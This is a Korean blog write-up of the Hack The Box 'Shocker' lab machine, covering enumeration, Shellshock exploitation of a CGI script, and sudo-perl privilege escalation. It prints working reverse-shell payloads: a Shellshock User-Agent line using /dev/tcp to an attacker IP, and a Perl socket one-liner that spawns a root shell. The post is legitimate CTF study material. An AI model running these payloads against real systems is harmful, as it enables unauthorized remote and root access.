GitHub - rkhal101/Hack-the-Box-OSCP-Preparation: Hack-the-Box-OSCP-Preparation
Hack-the-Box-OSCP-Preparation. Contribute to rkhal101/Hack-the-Box-OSCP-Preparation development by creating an account on GitHub.
github.com
nmap
udp 스캔도 했지만 모두 닫혀있다.
우리에게 주어진 것은
80 : apache
2222 : openssh
10.10.10.56 접속
넘어갈 수 있는 곳이 없다.
gobuster 결과
nothing...
혼자 시도했다가 실패한
처음에 롸업을 보지 않고 혼자 고민했을 때는
searchsploit openssh
의 결과 중, 버전이 맞는 것을 찾아 (40136.py) 익스를 시도했지만 not worked...
python3 40136.py 10.10.10.56:2222 -u root
* 여기서 -u 사용자 이름을 줬어야 했는데 사용자 이름이 뭔지 알 수 없어서 안됐던 것 같기도 하고..
* module 'time' has no attribute 'clock' 이런 에러가 떠서 검색했더니 python3.8부터는 다른 함수로 clock을 지원 안한다 하더라.
* 그래서 python3.7.9를 깔고 python3.7 ~~ 했더니 이번엔 no moduled name 'paramiko'
* pip install 해도 안된다.
적당히 삽질하다가 넘어간다.
여기서 이해할 수 없는 생각의 흐름이 나왔다.
machine이름이 shocker이니까 갑자기 Shellshock bash remote code execution vulnerability가 있을 것이라고 생각했다는 것이다(!!!)
그렇게 생각이 났다 치고
이 취약점은 CGI를 사용하는 웹 서버에 영향을 미친다고 한다.
CGI란 동적 웹 컨텐츠를 생성하는 시스템이다.CGI는 보통 /cgi-sys, /cgi-mod, /cgi-bin 디렉터리를 포함한다. 그래서 이 디렉터리들이 존재하는지 try해 본다.
10.10.10.56/cgi-sys 와 같은 방식으로 브라우저에서 들어가 본다.
/cgi-bin만 응답하는 것을 볼 수 있다.
** 여기서 주의할 점
/cgi-bin/으로 입력하면 forbidden, /cgi-bin으로 입력하면 not found가 뜬다.
"아마도" /cgi-bin으로 입력하면 디렉터리가 아니라 파일로 인식하는 것 같다.
다시 gobuster
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.56 -f
-f 옵션을 주면 맨 마지막에 /을 붙힌다고 한다.
/cgi-bin/ 이 있는 것을 볼 수 있다.
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.56/cgi-bin/ -x sh, cgi
sh, cgi 확장자만 필터링하기
10.10.10.56/cgi-bin/user.sh
burp suite로 잡아보깅
이제 shellshock에 취약한지 알아보자(??)
웹 서버가 실행 중인 시스템에서 reverse shell을 얻기 위해 shellshock 취약점을 악용한다.
[ shellshock란? https://hongd99.tistory.com/147 ]
user.txt 확인하기
1. nc -nlvp 4444
burp suite - repeater 기능으로 User-Agent를 다음과 같이 변형한다.
2. () { ignored;};/bin/bash -i >& /dev/tcp/내 ip/내가 연 port 0>&1 후 send
이렇게 하면 user.txt는 딸 수 있다.
[***] User-Agent에 삽입한 명령어
{ ignored; }; /bin/bash -i >& /dev/tcp/10.10.14.30/4444 0>&1
{ ignored; }; 아무것도 안하고 그냥 넘어가는 것...
/bin/bash -i interactive한 쉘
> /dev/tcp/10.10.14.30/4444 shell의 stdout이 공격자의(10.10.14.30) 포트 4444로 리다이렉트될 것이다.
0>&1 stdout이 stdin으로 리다이렉되도록 한다.
[ 참고 : https://hackbotone.medium.com/shellshock-attack-on-a-remote-web-server-d9124f4a0af3 ]
Shellshock Attack on a remote web server
CGI runs bash as their default request handler and this attack does not require any authentication that’s why most of the attack is taken…
hackbotone.medium.com
[***] /dev/tcp/ip/port 가 무엇인가
- man bash 의 설명 중
ip가 valid hostname or internet address이라면, port가 interger port 번호거나 서비스 이름이라면 bash는 해당 tcp socket을 open하려고 시도한다.
- 출처 : https://meetup.toast.com/posts/204
대상 서버의 포트가 열려있는 지 확인할 때 사용한다.
(*) bash의 하나의 기능이기 때문에 공격대상이 ubuntu일 때만 된다. 여기서 나오는 명령어를 kali에 치면 소용없다(zsh니까). 어차피 안된다. ubuntu에서 쳐보길 권한다.
echo > /dev/tcp/127.0.0.1/9999 ☞ 연결이 거부됨 같은 명령어 등장
echo $? ☞ 1 (0이면 이전의 명령어가 정상 종료되었다. 0이 아니면 정상 종료되지 않았다.)
nc -nlvp 9999
echo > /dev/tcp/127.0.0.1/9999 ☞ 아무 값도 나오지 않는다 == 포트가 열려있다.
echo $? ☞ 0 (정상 종료)
root.txt 확인하기(privilege escalation)
쉘을 딴 그 상태에서 sudo -l
결과값을 보면 perl 명령어를 nopasswd로 sudo로 실행할 수 있다.
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet 를 참고하면 perl code reverse shell을 확인할 수 있다.
nc -nlvp 1234 로 포트 하나를 또 열고
아까 딴 쉘에 밑의 명령어를 복붙한다.
perl -e 'use Socket;$i="10.10.14.30";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
그럼 root 쉘이 따진다. 거기서 root.txt를 확인할 수 있다.
'워게임 > hackthebox' 카테고리의 다른 글
RSA 알고리즘 (0) | 2021.09.09 |
---|---|
brainfuck 롸업 정리(wpscan, pop3 포함) (0) | 2021.09.07 |
[**어렵] beep - 롸업 정리 (0) | 2021.09.03 |
sense - 롸업 정리 (0) | 2021.09.03 |
node 롸업 정리 (0) | 2021.08.15 |
댓글